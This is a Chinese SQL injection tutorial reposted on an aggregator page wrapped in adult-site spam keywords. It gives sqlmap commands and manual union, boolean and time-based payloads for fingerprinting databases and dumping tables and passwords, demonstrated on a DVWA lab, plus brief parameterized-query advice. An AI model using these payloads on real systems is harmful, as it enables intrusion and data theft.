日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入理解与防御

發(fā)布時(shí)間:2023/12/14 数据库 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入理解与防御 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

一、說明

sql注入可能是很多學(xué)習(xí)滲透測試的人接觸的第一類漏洞,這很正常因?yàn)閟ql注入可能是web最經(jīng)典的漏洞。但在很多教程中有的只講‘或and 1=1、and 1=2有的可能會(huì)進(jìn)一步講union select、update等注入時(shí)真正用的攻擊語句,但即便是后者更多的感覺像是跳到DBMS里去講就是把數(shù)據(jù)庫版本、數(shù)據(jù)庫名、表名、列名這些都當(dāng)作是已知的基于這個(gè)前提下去講。而在實(shí)際攻擊過程中版本、數(shù)據(jù)庫名、表名、列名都是需要自己去探測的。這就導(dǎo)致了你聽過無數(shù)的sql注入理論和高深的利用方法,到自己去測試時(shí)只會(huì)and 1=1或祭出sqlmap。

?

二、sql注入定義

sql注入就是閉合原先的sql語句并拼接上攻擊者想要執(zhí)行的sql語句。關(guān)鍵詞是閉合和拼接。

2.1 注入舉例

現(xiàn)有頁面:http://example.com/app/accountView?id=1

對應(yīng)后臺(tái)sql語句為:String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

當(dāng)前具體生成sql語句為:String query = "SELECT * FROM accounts WHERE custID='1';

現(xiàn)攻擊者將鏈接(id值)改為:http://example.com/app/accountView?id='or '1'='1

此時(shí)具體生成sql語句為:String query = "SELECT * FROM accounts WHERE custID=''or '1'='1';

or前的分號就起“封閉原先的sql語句”作用,or '1'='1就是“拼接上”的“攻擊者想要執(zhí)行的sql語句”。

?

2.2 常見注入說明

仍使用上面的例子

注入形式形成注入語句攻擊原理及效果
’(單引號)String query = "SELECT * FROM accounts WHERE custID='‘'custID等于三個(gè)單引號,這種形式sql解析器解析時(shí)會(huì)報(bào)錯(cuò),如果前端頁面也報(bào)錯(cuò)一是說明該參數(shù)會(huì)帶入sql解析器二是說明sql語句沒做過濾

’and ‘1’=‘1

'and '1'='2

String query = "SELECT * FROM accounts WHERE custID='‘a(chǎn)nd '1'='1'

String query = "SELECT * FROM accounts WHERE custID='‘a(chǎn)nd '1'='2'

這兩條一起使用,由于’1‘=’1‘恒為真所以應(yīng)該有結(jié)果’1‘=’2‘恒為假所以應(yīng)該沒有結(jié)果,總之就是如果這兩者能導(dǎo)致頁面顯示有區(qū)別,那也可以說明該參數(shù)帶入sql解析器且沒做過濾。

?

'or '1'='1?String query = "SELECT * FROM accounts WHERE custID=''or '1'='1';'or '1'='1頁面正常返回可能是注入成功了也可能是做了過濾所以這種形式一般不能做為是否存在注入的檢測方法;'or '1'='1作用是取回表中所有結(jié)果,最常見的是用于繞過登錄

?

?

?

?

?

?

?

當(dāng)要注入的參數(shù)為整型時(shí)使用and1=1/and 1=2/or 1=1的形式,當(dāng)要注入的參數(shù)為字符串類型時(shí)需要平衡單引號所以等用上表中帶單引號的形式;在具體滲透時(shí)我們不知道是整型還是字符串類型只能靠正常訪問時(shí)賦給變量的值來做推測,一般來講主要是以字符串類型存諸即便是數(shù)字也經(jīng)常存為字符串取出時(shí)再轉(zhuǎn)為整型。

'or '1'='1我們上邊說其“最常見的是用于繞過登錄”。《Metasploit滲透測試魔鬼訓(xùn)練營》就使用了繞過登錄的例了,但繞過登錄現(xiàn)在并不那么好用除了登錄是重點(diǎn)防護(hù)區(qū)域之外現(xiàn)在都很強(qiáng)調(diào)密碼加密,password參數(shù)取回后先被md5(password)其中的單引號根本沒有“閉合”“拼接”的機(jī)會(huì)。當(dāng)然'or '1'='1“作用是取回表中所有結(jié)果”,所以其他地方還是有用武之地的。

另外還有'or 'a'='a這類形式,這是為了防上服務(wù)端專門針對'or '1'='1過濾而用的變種形式其本質(zhì)還是一樣的。

平衡右單引號也不是必須的,我們有時(shí)還可以看到‘or 1=1 --的形式,--是sql語句的注釋符號使用--右邊的單引號就被注釋掉不起作用了所以不需要平衡。其實(shí)--在注入不是原sql最后一個(gè)詞時(shí)有更大的用處,比如假設(shè)存在語句update user_table set password = 'default_password' where username = '" + request.getParameter("username") + "' and changeable = 'yes'其admin賬號chageable為no那么注入admin'or '1'='1也是改不了admin賬號的密碼的,但注入admin' --就可以改。

?

2.3 sql注入位置

我們要明確以下三點(diǎn):

參數(shù)被帶入數(shù)據(jù)庫時(shí),被帶入的CRUD的任何一處(即select、insert、update、delete)都是有可能的。

從理論上來講,無論被被帶入的是select、insert、update、delete我們都能注入任意的sql語句進(jìn)行數(shù)據(jù)庫操作。

想直接獲取數(shù)據(jù)表內(nèi)容那只能拼接select語句,insert、update、delete這三條語句也能在其后拼接select語句,但是由于這三條語句的服務(wù)器代碼不會(huì)向前端返回?cái)?shù)據(jù)的代碼,所以如果參數(shù)被帶入的是insert、update、delete拼接直接查詢數(shù)據(jù)表內(nèi)容的select語句是沒有意義的(當(dāng)然exists大于等于等符件性select還是有用,所以下方3.7.1獲取數(shù)據(jù)表內(nèi)容的方法還是可用的)。想直接獲取數(shù)據(jù)表內(nèi)容需要能注入的語句原本就是select語句(下方3.7.2 union select法)。

?

2.4 sql盲注

2.4.1 盲注與普通注入的區(qū)別

普通注入有兩個(gè)特征:一是會(huì)將數(shù)據(jù)庫的內(nèi)容查詢并回顯到頁面上(這是最主要的),二是會(huì)返回原始的數(shù)據(jù)庫錯(cuò)誤信息(這是次要的)。數(shù)據(jù)會(huì)回顯到頁面上,那么我們可以從返回的頁內(nèi)中提取我們的數(shù)據(jù)庫名等數(shù)據(jù)。

回顯內(nèi)容(admin處):

返回原始數(shù)據(jù)庫錯(cuò)誤信息:

盲注對應(yīng)的也有兩個(gè)特征:一是不會(huì)將數(shù)據(jù)庫內(nèi)容回顯到頁面上(這是主要的),二是不會(huì)返回原始的數(shù)據(jù)庫錯(cuò)誤信息。

不會(huì)將數(shù)據(jù)庫內(nèi)容回顯到頁面上(只告訴你存不存在):

不會(huì)返回原始的數(shù)據(jù)庫錯(cuò)誤信息(返回的是自定義的錯(cuò)誤信息):

?

2.4.2 盲注如何進(jìn)行

盲注場景中內(nèi)容不回顯到頁面上,我們就沒法從頁面提取內(nèi)容,那我們該如何獲取數(shù)據(jù)庫內(nèi)容呢。只有一種辦法,那就是把我們的猜測構(gòu)造成一個(gè)布爾表達(dá)式。

如果返回的內(nèi)容和原來一樣那該表達(dá)式的猜測就是對的,如果返回的內(nèi)容和原來不一樣那該表達(dá)式的猜測就是錯(cuò)的。比如"SELECT * FROM accounts WHERE custID='1'?and (length(database()))=8 -- "如果返回內(nèi)容和原來一樣(此時(shí)即and 1)那說明數(shù)據(jù)庫名稱長度為8字節(jié),如果不一樣(此時(shí)即and 0)則不是8字節(jié),繼續(xù)猜。

但“和原來一樣”這個(gè)說法可能有點(diǎn)問題,即我們需要監(jiān)測原來是怎樣的現(xiàn)在是怎樣的然后比較,這有點(diǎn)麻煩。我們改造成“SELECT * FROM accounts WHERE custID='1' and if( (length(database()))=8 , sleep(3), 1) -- ”,如果查詢出現(xiàn)了3秒延遲那說明數(shù)據(jù)庫名長度為8字節(jié),如果沒出現(xiàn)延遲則不是8字節(jié),繼續(xù)猜。

比較和原來是否一樣的形式即布爾型盲注,構(gòu)造延時(shí)這種形式即時(shí)間型盲注。

?

三、sql注入攻擊步驟

我們使用sqlmap或者更早以前的啊D、明小子,sql注入都是有一定步驟的,步驟也都是一樣的;手工注入一樣遵循這樣的步驟只是將工具各步敲的注入代碼改為手動(dòng)敲就而已。

可通過三種辦法探測sqlmap在各步中到底注入了哪些語句,第一種是閱讀源代碼這要要有較強(qiáng)的能力我試了一下并不能駕御。第二種是查看C:\Users\username\.sqlmap\ouput\hostname\log文件(該文件其實(shí)就是執(zhí)行sqlmap整個(gè)過程的控制臺(tái)輸出)sqlmap每次發(fā)的數(shù)據(jù)包都會(huì)以”Type-Title-Payload“三元組記錄。第三種是使用wireshark或帶上--proxy="http://127.0.0.1:8080"參數(shù)使用burpsuite截取sqlmap發(fā)送的數(shù)據(jù)包(sqlmap在ouput目錄下的文件有記住前面對鏈接的探測結(jié)果,即便其log文件中說本次探測發(fā)了這些payload其實(shí)也不一定真的發(fā)了,攔到的數(shù)據(jù)包和log感覺對不上時(shí)要明白這一點(diǎn))。

下邊各步注入代碼整理自《大中型網(wǎng)絡(luò)入侵要案直擊與防御》沒有逐條核實(shí),簡單對比了一下sqlmap探測的載荷在編碼等方面有差別但意思是基本一致的,也就差不多了。

另外常會(huì)聽說數(shù)據(jù)庫提權(quán),我們要明確系統(tǒng)賬號可以是數(shù)據(jù)庫賬號但數(shù)據(jù)庫賬號不可能是系統(tǒng)賬號,所謂數(shù)據(jù)庫提權(quán)只是調(diào)用能執(zhí)行系統(tǒng)命令的數(shù)據(jù)庫擴(kuò)展添加系統(tǒng)賬號。

在確認(rèn)是注入點(diǎn)之后,注入獲取庫名、表名、列名、字段內(nèi)容,其考驗(yàn)的不再是什么滲透測試能力,而是對sql和當(dāng)前數(shù)據(jù)庫(比如oracle)的熟練程度。

這里使用dvwa作為演示環(huán)境,演示的是普通sql注入的注入過程,盲注需要另行將注入語句改造成類似“1' and if(select ascii(substring((select database()),1,1))=119,sleep(3),1) -- ”的形式。

?

3.1 使用sqlmap的攻擊步驟

# 查看sqlmap幫助 python sqlmap.py -h # 查看sqlmap詳細(xì)幫助 python sqlmap.py -hh# 以下各步,注意使用--data設(shè)置post內(nèi)容,使用--cookie設(shè)置cookie,使用--referer設(shè)置referer,使用--proxy設(shè)置代理 # 以下各步,我以dvwa為例,但為了觀察體驗(yàn)將有身份認(rèn)證信息的--cookie刪除了,自己用dvwa要注意帶上--cookie # 以下各步,如果中途出現(xiàn)選擇自己不懂選哪個(gè),推薦直接按回車使用sqlmap默認(rèn)值 # 第一步,確認(rèn)目標(biāo)參數(shù)。如果是get那么直接用-u接url即可,如是是post那么需要使用--data="username=admin&password=toor"形式 # 第二步,確認(rèn)動(dòng)態(tài)參數(shù)。 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" # 第三步,爆出數(shù)據(jù)庫類型 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --banner # 第四步,爆出數(shù)據(jù)庫名 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dbs # 第五步,猜解數(shù)據(jù)庫表。使用-D指定要猜解數(shù)據(jù)表的數(shù)據(jù)庫,假設(shè)為dvwa數(shù)據(jù)庫 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa --tables # 第六步,猜解字段名。使用-D指定數(shù)據(jù)庫,使用-T指定要猜解字段名的表,假設(shè)為dvwa數(shù)據(jù)庫數(shù)據(jù)表為users python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --columns # 第七步,猜解字段值。使用-D指定數(shù)據(jù)庫,使用-T指定表,使用-C指定要猜解其內(nèi)容的列,假設(shè)為dvwa數(shù)據(jù)庫數(shù)據(jù)表為users列為user_id和user python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users -C user_id,user --dump # 第八步,拖庫。其實(shí)使用--dump時(shí)就已經(jīng)將數(shù)據(jù)以csv格式保存到了C:\Users\username\.sqlmap\output\server_ip\dump\database_name目錄下 # 第八步,拖庫。我們可以使用--dump-format配置輸出格式,使用 --output-dir重定向輸出目錄。 # 第八步,拖庫。參數(shù)指定到什么范圍就下載什么范圍的數(shù)據(jù),以下載dvwa庫users表所有以SQLITE格式輸出到當(dāng)前目錄為例(本質(zhì)仍是server_ip\dump\database_name) python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --dump --dump-format=SQLITE --output-dir=.

?

3.2 手工注入的攻擊步驟

第一步,確認(rèn)目標(biāo)參數(shù)

我們首先要確定要測試哪些參數(shù)。在以前參數(shù)還是比較容易確定的,比如前面說的http://example.com/app/accountView?id=1,問號后邊的參數(shù)大多是動(dòng)態(tài)參數(shù)。

但現(xiàn)在都講restful,所以首先參數(shù)并不一定在問號后邊,比如url可能變成http://example.com/app/accountView/1/這樣的;其次大多參數(shù)都是post的,所以目標(biāo)要從url更多轉(zhuǎn)移到post數(shù)據(jù)上。

第二步,確認(rèn)動(dòng)態(tài)參數(shù)

動(dòng)態(tài)參數(shù)就是帶入數(shù)據(jù)庫的參數(shù),很多參數(shù)是不帶入數(shù)據(jù)庫的而只有帶入數(shù)據(jù)庫的參數(shù)才有可能導(dǎo)致sql注入,所以我們需要確認(rèn)哪些參數(shù)是動(dòng)態(tài)參數(shù)。

沒具體去分析sqlmap等工具是怎么確定一個(gè)參數(shù)是不是動(dòng)態(tài)參數(shù),我們可以使用前面說的單引號法和1=1/1=2法,如果參數(shù)有過濾不能注入那我們權(quán)當(dāng)他不是動(dòng)態(tài)參數(shù)也一樣的。

第三步,爆出數(shù)據(jù)庫類型

因?yàn)殡m然數(shù)據(jù)庫都兼容sql92但不同的數(shù)據(jù)庫其具有的系統(tǒng)庫表和擴(kuò)展功能都是不一樣的,這導(dǎo)致我們后續(xù)查詢庫名、表名、列名具體注入語句會(huì)隨數(shù)據(jù)庫的不同而有差異,所以首先要確認(rèn)服務(wù)端使用的是什么數(shù)據(jù)庫,是oracle還是mysql還是其他。

和檢測操作系統(tǒng)等類似,判斷是什么數(shù)據(jù)庫也是用“指紋”的形式,數(shù)據(jù)庫的指紋就是數(shù)據(jù)庫支持的注釋符號、系統(tǒng)變量、系統(tǒng)函數(shù)、系統(tǒng)表等,所以應(yīng)該可以整理出更多的檢測語句。

數(shù)據(jù)庫注入語句原理用處
accessand user>0user是mssql內(nèi)置變量,類型為nvarchar;nvarchar與int比較會(huì)報(bào)錯(cuò)msqql和access報(bào)錯(cuò)不一樣可區(qū)分?jǐn)?shù)據(jù)庫是mssql還是access

mssql

and (select count(*) from sysobjects) >= 0

and (select count(*) from msysobjects) >= 0

mssql存在sysobjects不存在msysobjects,上句不會(huì)報(bào)錯(cuò)下句會(huì)報(bào)錯(cuò)

access不存在sysobjects存在msysobjects,上句會(huì)報(bào)錯(cuò)下句不會(huì)報(bào)錯(cuò)

可用于確認(rèn)數(shù)據(jù)庫是mssql還是access

multi

?/*

--

;

?mysql支持的注釋

mssql和oracle支持的注釋

oracle不支持多行

?報(bào)錯(cuò)說明不是mysql

不報(bào)錯(cuò)可能是mssql或oracle

報(bào)錯(cuò)極有可能是oracle

mysql

select @@version

select database()

@@version是mysql的內(nèi)置變量

database()是mysql的內(nèi)置函數(shù)

返回正常可能是mysql

oracle

and exists(select * from dual)

and (select count(*) from user_tables)>0 --

dual和user_tables是oracle的系統(tǒng)表

如果返回正常則說明是oracle

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

第四步,爆出數(shù)據(jù)庫名

數(shù)據(jù)庫注入語句說明
access?access一個(gè)數(shù)據(jù)庫對應(yīng)一個(gè)文件,獲取文件名沒有很大意義
mssql

and db_name() = 0

and db_name(n) > 0

從返回的報(bào)錯(cuò)信息中可獲取當(dāng)前數(shù)據(jù)庫名

返回的報(bào)錯(cuò)信息中有第n個(gè)數(shù)據(jù)庫的庫名

mysql

and 1=2 union select 1,database()/*

and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1

select group_concat(schema_name) from information_schema.schemata

爆出當(dāng)前數(shù)據(jù)庫名

n為幾就返回第幾個(gè)數(shù)據(jù)庫的庫名返回空就表示沒有更多數(shù)據(jù)庫了

返回所有數(shù)據(jù)庫名

oracle

?and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一庫名'),4,5... from dual

?返回第一個(gè)庫名

返回當(dāng)前用戶所擁有的下一庫名

?

?

?

?

?

?

?

?

?

?

?

?

第五步,猜解數(shù)據(jù)庫表名

數(shù)據(jù)庫注入語句?說明
access

and exists(select * from table_name)

and (select count(*) from table_name) >= 0

?不斷測試table_name

如果返回正常那說明該表存在

?mssql

and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 --

and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0--

and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) --

?可爆出當(dāng)前數(shù)據(jù)庫表的數(shù)量

n為幾就輸出第幾張表的表名

n為幾就輸出db_name庫第幾張表的表名

?mysql

?and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1--

select group_concat(table_name) from information_schema.tables where table_schema=database()

?n為幾就返回當(dāng)前第幾張表的表名

返回當(dāng)前庫的所有表名

oracle

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual

返回第一個(gè)表名

返回下一個(gè)表名

返回包含pass的表名

?

?

?

?

?

?

?

?

?

?

?

?

?

?

第六步,猜解字段名

數(shù)據(jù)庫注入語句?
access

and exists(select column_name from table_name)

and (select count(column_name) from table_name) >=0

?table_name使用上一步得到的表名,不斷試column_name

如果返回正常則說明該字段存在

?mssql

having 1=1 --

group by 字段名1 having 1=1 --

group by 字段名1,字段名2 having 1=1 --

可獲取表名和第一個(gè)字段名

?可以得到第二個(gè)字段名

可以得到第三個(gè)字段名

?mysql

?and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1--

select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name

?ascii_table_name表示要查的表的表句的十六進(jìn)制型示n為幾就返回第幾字段的字段名

返回指定表名的所有字段

oracle

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual

返回第一個(gè)字段名

返回下一個(gè)字段名

?

?

?

?

?

?

?

?

?

?

?

?

?

?

第七步,猜解字段值

獲取字段內(nèi)容,各數(shù)據(jù)庫的方法是比較通用的,當(dāng)然也有一些自己特色的獲取方法我這里就不管了

方法一:逐字節(jié)猜解法

首先猜解出字段長度,然后再逐字節(jié)猜解。

and (select top 1 len(column_name) from table_name > 1

and (select top 1 len(column_name) from table_name > 2

..

and (select top 1 len(column_name) from table_name > n-1

and (select top 1 len(column_name) from table_name > n

當(dāng)n-1正常n錯(cuò)誤時(shí)說明字段長度為n(二分法快一些)

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0

and (select top 1?asc(mid(cloumn_name,1,1)) from table_name > 1

..

and (select top 1?asc(mid(cloumn_name,1,1)) from table_name > n-1

and (select top 1?asc(mid(cloumn_name,1,1)) from table_name > n

n-1正常n錯(cuò)誤時(shí)說明字段值第一位ascii碼值為n,再使用mid(cloumn_name,2,1)等繼續(xù)猜解后續(xù)各個(gè)位直至n即可

?

方法二:union select法

上邊的逐字節(jié)猜解法是相當(dāng)費(fèi)勁的,使用union select能更快捷地獲取字段值。

由于union select要求兩邊的select返回的select字段數(shù)要一樣,所以首先使用order by猜解前邊select返回結(jié)果的字段數(shù):

order by 1

order by 2

...

order by n-1

order by n

n-1正常,n報(bào)錯(cuò)時(shí)說明原先select字段數(shù)為n

然后使用union select查出表中內(nèi)容

and 1=2 union select 1,2...,n from table_name----and 1=2是為了使原本的select結(jié)果為空,頁面中出現(xiàn)數(shù)字x說明該處是顯示的是第x字段的結(jié)果將x替換為字段名該處即會(huì)呈現(xiàn)該字段的內(nèi)容

and 1=2 union select 1,2..,column_name..,n from table_name----上邊的x替換成column_name,頁面中x處即會(huì)顯示column_name字段的內(nèi)容

?

3.3 手工注入演示

環(huán)境使用phpStudy+DVWA,為了更形象地還原注入場景我們真接在頁面演示,并會(huì)給出注入時(shí)真正執(zhí)行的SQL語句。

第一步,確認(rèn)目標(biāo)參數(shù)。請求鏈接為http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,所以目標(biāo)參數(shù)為id和Submit。

第二步,確認(rèn)動(dòng)態(tài)參數(shù)。Submit是按鈕不是動(dòng)態(tài)參數(shù)直接跳過;輸入“1' and 1 = 1 -- ”時(shí)無報(bào)錯(cuò)且有結(jié)果,輸入“1' and 1 = 2 -- ”時(shí)無報(bào)錯(cuò)無結(jié)果,所以判斷id是可注入?yún)?shù)且為字符串類型。

(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 1 -- ';)

(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 -- ';)

第三步,確認(rèn)當(dāng)前查詢列數(shù)。注入載荷”1' order by n -- “,執(zhí)行到n為3時(shí)報(bào)錯(cuò)(Unknown column '3' in 'order clause'),說明原先的查詢語句是兩列。

(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 -- ';)

(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3 -- ';)

第四步,確認(rèn)哪些列會(huì)被回顯到頁面上。注入“1' and 1 = 2 union select 1,2 -- ”,可以看到第一列和第二列都會(huì)回顯到頁面上,且第一列是First name的值第二列是Surname的值。

第五步,爆出數(shù)據(jù)庫類型。將第二列改為@@version,注入“1' and 1 = 2 union select 1,@@version -- ”,有返回結(jié)果且為5.5.53,所以判斷數(shù)據(jù)庫為mysql且版本為5.5.53。

?(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 union select 1,@@version -- ';)

第六步,爆出數(shù)據(jù)庫名。經(jīng)上步我們已經(jīng)知道是mysql所以可以確定地使用mysql的注入載荷。注入“1' and 1=2 union select 1,database() -- ”,可見當(dāng)前數(shù)據(jù)庫名為dvwa。

(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,database() -- ';)

第七步,猜解數(shù)據(jù)庫表名。注入“1' and 1 = 2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ”,返回結(jié)果說明當(dāng)前數(shù)據(jù)庫中有g(shù)uestbook和users兩個(gè)表。

(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ';)

?第八步,猜解字段名。注入"1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ",從返回結(jié)果可以看出users表有user_id,first_name,last_name,user,password,avatar,last_login,failed_login等幾列。

(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ';)

第九步,猜解字段值。以獲取當(dāng)前數(shù)據(jù)庫,users表,first_name和password列為例。注入"1' and 1=2 union select first_name,password from users -- ",獲取內(nèi)容如下圖。

(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select first_name,password from users -- ';)

?

四、SQL注入防御

構(gòu)造的sql語句時(shí)使用參數(shù)化形式而不使用拼接方式能夠可靠地避免sql注入;主流的數(shù)據(jù)庫和語言都支持參數(shù)化形式,可參考維基百科“參數(shù)化查詢”。

拼接加對輸入進(jìn)行單引號和sql關(guān)鍵字過濾的方法也能在一定程度上防護(hù)sql注入,但是由于數(shù)據(jù)庫的具有注釋符/連接符、支持十六進(jìn)制寫法、具有char()等編碼函數(shù)可以使sql語句變換成多種多樣的形式,所以這種方法并不可靠。

?

參考:

https://www.acunetix.com/websitesecurity/blind-sql-injection/

德丸浩-《Web應(yīng)用安全權(quán)威指南》

肖遙-《大中型網(wǎng)絡(luò)入侵要案直擊與防御》

轉(zhuǎn)載于:https://www.cnblogs.com/lsdb/p/9612424.html

總結(jié)

以上是生活随笔為你收集整理的SQL注入理解与防御的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

欧美地下肉体性派对 | 久久精品精品电影网 | 激情久久久久久久久久久久久久久久 | 国产激情小视频在线观看 | 一级片视频免费观看 | 97日日 | 在线国产黄色 | 国产免费激情久久 | 国产人成一区二区三区影院 | 欧美日韩一区二区在线观看 | 亚洲欧美国产精品va在线观看 | 亚洲欧美日韩一级 | 国产精品毛片久久久久久 | 开心激情久久 | 成人av动漫在线 | www.久艹 | 三级av免费观看 | 韩日av一区二区 | 永久免费观看视频 | 人人干天天射 | 久久精品亚洲精品国产欧美 | 国产精品综合久久久久 | 亚洲高清色综合 | 国产精品1区2区3区在线观看 | 狠狠干网站 | 久久人人97超碰com | 91porny九色91啦中文 | 91av99| 天天色综合三 | 黄色综合 | 国产黄色美女 | 一区三区视频 | 久久久精品 一区二区三区 国产99视频在线观看 | 欧美日韩精品网站 | 国产美女免费视频 | 久久情网 | 欧洲精品久久久久毛片完整版 | 狠狠狠的干 | 婷婷av网| 久久久午夜视频 | 在线午夜 | 国产一区视频免费在线观看 | 久久久久久97三级 | 99久久久国产精品免费99 | 久久亚洲私人国产精品 | 国产精品99久久久久久大便 | 亚洲国产中文字幕 | 黄色av成人在线 | 色综合咪咪久久网 | 在线观看亚洲电影 | 亚洲va欧美va人人爽 | 国产裸体视频bbbbb | aaa免费毛片 | 久久久免费播放 | 成年在线观看 | 国产福利91精品一区 | 精品国产一区二区三区久久久 | 九九热只有精品 | 久艹在线免费观看 | 亚洲激情p | 亚洲三级黄色 | 在线观看色视频 | 亚洲爱av | 丁香六月欧美 | 亚州免费视频 | 国产高清免费在线观看 | 国产在线观看免费观看 | 日韩精品极品视频 | avove黑丝 | 久久99电影 | a色视频| 色五月色开心色婷婷色丁香 | 免费看v片 | 在线播放 日韩专区 | 欧美精品一区二区蜜臀亚洲 | 国产高清久久久 | 亚洲精品久久激情国产片 | av黄网站| 四川bbb搡bbb爽爽视频 | 在线观看色网 | 丁香婷婷综合五月 | 久在线观看视频 | 99久久99久久精品免费 | 欧美精品中文字幕亚洲专区 | 中文字幕日韩高清 | 手机成人免费视频 | 久久激情电影 | .国产精品成人自产拍在线观看6 | 一区二区三区日韩视频在线观看 | 亚洲午夜精品久久久久久久久 | 国产福利一区二区在线 | 欧美另类高潮 | av中文电影| a级国产乱理伦片在线播放 久久久久国产精品一区 | 国产精品系列在线观看 | 337p日本大胆噜噜噜噜 | 日韩大陆欧美高清视频区 | 色www精品视频在线观看 | 99成人免费视频 | 四虎国产精品成人免费4hu | 国产精品99久久久久久有的能看 | 91精品亚洲影视在线观看 | 久久99国产精品免费网站 | 久久久综合香蕉尹人综合网 | av 一区二区三区 | 婷婷久久综合九色综合 | 天天操天天操天天操天天操 | 欧美日韩国产在线观看 | 久久免费av | 中文字幕一二三区 | 国产黄a三级 | 88av视频 | 国产成人综合精品 | 综合久久2023 | 国产一级在线免费观看 | 美女久久久久久久 | 超碰国产97 | 中文在线字幕免费观 | 成人久久国产 | 亚洲一区二区黄色 | 国产黄网站在线观看 | 中文资源在线官网 | 六月丁香综合 | 成人在线播放网站 | 日本精品视频免费观看 | 成 人 黄 色 片 在线播放 | 91福利视频在线 | 丁香 婷婷 激情 | 成人网在线免费视频 | 国产激情久久久 | 日韩精品极品视频 | 国产精品白浆 | 中文字幕在线观看av | 视频国产精品 | 国产香蕉久久 | 久久艹中文字幕 | 久久久久国产精品一区二区 | 久久精品一级片 | 在线观看日韩av | 人人射人人爽 | 欧美一区二区三区在线观看 | 69av在线视频 | 最新日韩中文字幕 | 成人中文字幕在线观看 | 操操综合| 免费观看福利视频 | 国产精品毛片一区二区在线看 | 天天操天天干天天摸 | 国产理伦在线 | 婷婷色在线 | 午夜视频99 | 最近中文字幕国语免费高清6 | 91免费观看网站 | 99久久精品国产观看 | 中文字幕亚洲不卡 | 九九热在线视频免费观看 | 992tv在线观看 | 2021国产在线 | 日韩一区二区三区高清免费看看 | 国产3p视频 | 麻豆国产在线视频 | 日本狠狠色 | 成人免费xxx在线观看 | 五月开心六月婷婷 | 一级黄色毛片 | 天天操天天干天天操天天干 | 久久成人综合视频 | 国产美女精品视频 | 婷婷久久一区 | 在线观看一区 | 日韩在线精品一区 | 亚洲在线日韩 | 一区二区三区不卡在线 | 97在线播放 | 婷婷网址| 人人干干人人 | 毛片www| 免费人成网 | 黄色在线免费观看网址 | 日韩电影在线观看一区 | 在线亚洲精品 | 国产一区二区三区免费观看视频 | 亚洲一区日韩 | 国产麻豆精品在线观看 | 99久久精品免费看国产一区二区三区 | 一级c片 | 免费观看成人av | 日韩夜夜爽 | 中文综合在线 | 最近免费观看的电影完整版 | 国产美女在线精品免费观看 | 国产成人61精品免费看片 | 精品一区二区在线观看 | 国产 日韩 欧美 中文 在线播放 | 黄色网址在线播放 | 色综合中文字幕 | 四虎在线视频免费观看 | 久久久久久久亚洲精品 | 婷婷亚洲五月色综合 | 久青草视频 | 91精品国产自产91精品 | 黄色软件大全网站 | 午夜av在线 | 人人狠 | 国产成人精品一区二区三区福利 | 